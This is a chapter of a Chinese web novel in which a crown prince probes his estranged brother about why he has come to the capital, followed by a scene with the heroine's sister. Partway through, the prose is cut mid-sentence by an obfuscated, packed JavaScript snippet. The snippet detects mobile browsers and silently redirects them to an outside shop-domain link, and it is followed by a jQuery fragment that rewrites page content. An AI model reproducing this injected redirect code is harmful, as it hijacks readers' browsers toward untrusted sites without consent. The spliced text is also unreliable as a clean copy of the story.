昨日下午。
沈承昭一听完谢星影的话后就笑了一下,他的眉眼俊朗大气,笑起来很是爽朗温润。没有谢星影笑起来那样俊俏,但瞧着很容易让人安心。
“只是有些问题想问问你罢了。”沈承昭说得很好听,轻而易举地带过了这件事。
不过谢星影并没有怎么相信他,虽说那些说书先生和不知情的百姓都道当今太子是个好人,可他熟知皇室的各种手段,良好的名誉也只是获取民心的其中一个手段之一。
就连他那两位爹娘,在京城之外的百姓口中,也是举世难得的皇帝皇后呢。
也许是他眼中的嘲讽太过,沈承昭无奈地揉了揉眉心,露出一个无可奈何的表情:“至少现在只是问几个问题罢了。”
他说完后,就可以停顿了片刻。薛月圆一头雾水,但谢星影却明白了对面人的意思。
谢星影开口道:“她就在这里,我能听的,她也能听。”
薛月圆这才反应过来,方才沈承昭刻意不说话,原来是在防备她。
若说她一开始就知晓这件事,应当会主动问出口询问。但既然谢星影现在已经把这件事堵了回去,那她也就不再开口,心安理得地继续坐了下去。
薛月圆眨眨眼睛,朝着沈承昭笑了一下。
“你确定?”沈承昭反问道,“事关皇室,你确定她也能听?”
这样说完,他还十分不认可地皱了皱眉,严肃地添上一句:“就算这位姑娘是可以信任的,但你也要为她的安全考虑。”
看起来还真像是一个关爱弟弟的好兄长。
谢星影毫不客气地嗤笑了一声,略带讽刺地说:“你觉得,我是和你关系亲近,还是和她关系亲近?”
沈承昭自小作为太子培养,大概从未有人这样不客气地给他下过脸色,他的面子一时间挂不住,面色不太好看起来。
薛月圆下意识地偏头去看谢星影,担忧地看了他一眼。谢星影还是那样直视着对面人,但手伸了过来,握住薛月圆的手,轻轻揉捏两下。
“你什么意思?”沈承昭问道,语气没有方才那样好。
他的气色不好看,谢星影的心情反倒是好了起来。他温温柔柔地朝着沈承昭笑了一下,语气刻意放得柔和几分:“什么意思?就是字面意思啊,我明显是和她关系亲近。”
“所以,在你和她之间,我也自然会选择她。”谢星影向后靠去,姿势舒展地靠在椅子上,“你让我将她带出去,以保证我们二人谈话的隐秘。可我的姑娘并没有出去的意思,我也怎能强行为了你把她带出去呢?”
总归他是要与他对话,他的兄长按耐不住主动找他,一定是心中有所心思。
虽然二人的权势地位完全不对等,但至少在这方面,他是率先占有了主动权的。
那他就有机会,牢牢握住这份主动权转变形式。
沈承昭听闻他的话后,脸上的神情倒是渐渐缓了回来。他道:“那这位姑娘的安危,你就完全不考虑了吗?”
谢星影忍不住又笑了一下,这次他笑得真心实意,让两人都侧目看过来。
他没想到,在沈承昭这里,还有此等借机向小月表明心迹的好事。
“她的安危,就算是我,也不能替她做主。”谢星影清了清嗓子,一番话说得坦荡又真诚,让沈承昭的眼眸动了动。
而薛月圆反而没觉得有什么,她记得当时来经常的路上,他就已经和她坦白说过这件事了。两人达成了共识,不管是这件事还是以后的什么事情,都要摊开了说明白,让对方心中有底,而不是打着担心安危的旗帜隐瞒下来。
因此她点了点头,随后转头看向沈承昭。
薛月圆已经想好了,如果是为了这个理由,那谢星影已经反驳了回去。
但若是这位太子殿下担心他与阿影之间谈话的隐秘性,那他再次提出来这个问题后,她还是问问阿影,不成的话就找个理由离开吧。
只不过沈承昭只是和她对视了一眼,就自然地说:“那好,那姑娘就留在这里吧。”
而谢星影又说:“倘若我没猜错的话,你应当已经查到了她的身份吧?”
薛月圆一惊,想清楚徐家已经被还了清白之后又放松下来。
沈承昭愣了一下,像是没想到谢星影如此敏锐。可既然已经出来了,那他也就不好再装作什么都不知情。
他朝谢星影笑了一下,看到谢星影眼中滑过一丝嫌恶,但他顶着这似嫌恶竟然还能再笑一下。
沈承昭意味深长地说:“你我不过才见面不到半日……”
“别朝我露出这个表情,我知道你是什么意思。”谢星影打断他的话,他看了一眼一旁乖乖坐着的薛月圆,补上一句,“也别朝她露出这个表情。”
沈承昭端起茶盏,姿态优雅地喝了一口茶水,随后干脆地问:“你来京城,为了什么?”
他的举止大方,问出的这个问题也十分简单,就像是随口问道一样。
但两人谁都知道,这个问题才是最重要的问题。
沈承昭一开口就把最重要的问题问了出来。
他这样,让谢星影有些摸不着头脑。不知道他是这算是递过来一个把柄让他抓,还是混淆重点,放松他的警惕心。
也正是这句话问出来之后,谢星影才终于对今日下午发生的所有事情浮现上几分趣味来。
确实不愧是从小在皇宫里,浸淫朝廷官场与皇室权力的人。
谢星影的心中打起了几分警惕来,不过面上仍是一副悠悠的样子。
他反问道:“你觉得,我来京城是为了什么?”
沈承昭将茶展放下,传来一道不大不小的瓷器碰撞声。
“回答我的问题即可。”他还是那样勾唇笑了笑,只是这次的笑容明显带上几分威严。
谢星影便懒洋洋地看了他一眼,开口道:“京城也算得上是我半个家吧,离开京城这么些年,难得回来看一趟,有问题吗?”
就在他说完这句话后,他察觉到沈承昭的嘴角微微绷了起来,面色也没有方才那样放松了。
其实他的表情变化是极其细微的,但谢星影还是察觉出来了。
谢星影在心中漫不经心地分神想,他这位兄长从小便是太子,城府颇深,可他自小经历的那些事情,也非寻常人所能经历的。
若说小月在经历了小时的事情后,慢慢将自己养大,养成一个万事不挂心的性子,那他则是非得抓住从前的经历,从中汲取一些什么东西来。
所以即便是面对沈承昭,他也有自己的把握。
谢星影的扶着靠椅的手微微向上抬来一下,而后又落下。他以指腹接触靠椅扶手,落下时没有发出任何声响。
“回来看一趟?”沈承昭开口,不置可否道,“只是回来看一趟?”
谢星影应道:“只是回来看一趟。”
“不然,难道你希望我有什么动作?”他弯起眼睛朝着对方笑眯眯地说。
纤长浓密的眼睫挡在眼睛的前面,笑起来眼睛眯着,眼底的神色一分都看不清。
沈承昭在心中道,这个远道而来的弟弟,像狐狸。
几年前的一次意外,他隐隐约约得知了这件事,后来一直有分出人手调查。
只不过分拨出去三队人手,每一队查着查着,查到最后总是断在南方的那位姑母身上。
他去母后殿里和舅舅府内旁敲侧击,见他们也是绝口不提此事的样子。
本以为这件事断了也就断了,却没想到竟然还有两人真正见面的时候。
沈承昭的手指拢起来,盯着谢星影看,眼中神色犀利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766568|209717||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
几分。
本以为是个没头没脑的肤浅之人,没想到问出的话三番两次都被对方轻易地拨了回来。
他面上浮现出淡淡的笑容:“看来这件事我们聊得不太愉快,好,那我问你,你与这位姑娘,是在槲州相识的?”
薛月圆没想到太子话锋一转,居然还有她的事情。
屋内让他问完这句话后就安静了下来,她张了张口,正欲回答这个问题,忽然想到了什么又把嘴巴闭了起来。
过了片刻,谢星影答道:“这你应当都查出来了吧?我想太子殿下手下的人也不是吃干饭的。”
“一直问这些问题就有些没意思了,说不准你问到后面的时候,我开始感到无趣,就张口胡诌了。”谢星影忽而俯身向前,身子也从方才那懒洋洋的模样变得正襟危坐起来,他以一副提建议的模样说道,“所以快快说些有价值的事情吧,我想你也知道,我们的客栈在西城区,从这里回去还要上一些时候。”
茶盏里的水都已经凉了下来,不再冒热气了。外面的天色也比先前暗淡一些,庭院内静悄悄的,薛月圆怀疑这里的人走路都是踮起脚尖悄摸摸地经过。
有点压抑……这是她对这太子府的评价。
她动了动身子,感觉自己有点坐不住了。
而就在她走神胡思乱想的时候,沈承昭温润的声音传来:“谁说今日我会让你们回客栈了?”
谢星影掀起眼皮,眼神骤然投向他的身上。
他的眼神沉沉,眉毛微微挑起来,过了须臾笑了一下:“你这是什么意思?”
……
“你们去哪里了?”徐清舒抬手握住薛月圆的肩头,仔仔细细把她看看个遍。
她的身形高挑,比薛月圆还要高上一些。此刻站在徐清舒的面前,她还要微微仰头。
薛月圆笑盈盈地望着她,等她放下心后,才问道:“阿姐今日也不去望山书院吗?”
提起这件事,徐清舒倒是反应过来了。她摇头,后退两步道:“去的,我现在就要走了。”
“现在?”薛月圆惊讶地问道,她不舍地说,“不能再留半个时辰吗?我们刚回来,你就要走了。”
她的面上神色真诚,乌黑水润的眸子毫无芥蒂地望着她,好像昨日两人没有闹出什么隔阂来。
或许本来那也是件小事,徐清舒在迎着她的眼眸的瞬间,脑海中就浮现上这个想法。
“书院在城郊的半山腰上,过去本就要一些时间。我今日只托同窗向夫子告了一个时辰的假,走过来找你们,还在这里等了片刻……”她开口解释,话没说完,忽然想起自己遗漏了什么事,霎时住口,转而皱眉问道,“你们二人这是?”
薛月圆眨眨眼睛,不知道该怎么把这件事说出口。
她只好先环视了一圈周围环境,佯装慎重地说道:“这里人多,等什么时候阿姐有空,我们去一趟徐府。”
这话也不假,虽然方才谢星影扯了扯她的袖子,把薛月圆拉到了客栈大堂的一个角落,但这客栈大门开着,时常有人往来,确实不算是个说话的好地方。
但徐清舒也并非这么轻易就能被糊弄过去的人,更何况糊弄她的是一个本来说点谎话就很明显的姑娘。
她心中一沉,不动声色地再度仔细看了看薛月圆,可见面前的姑娘眼神清亮,看起来气色很好的样子。
徐清舒暂时想不到太多的事情上去,她只担心是不是薛月圆身旁的那位谢郎君做了什么事情。
她也还没搞清楚,两人究竟是起了个大早,还是根本彻夜未归。
谢星影就站在薛月圆身旁,徐清舒看了他一眼。只不过他根本没看她,而是满眼都是薛月圆,眼中的柔和与眷恋清晰可见。
难得地让徐清舒愣了下神,原本到了口边的话也没有问出来。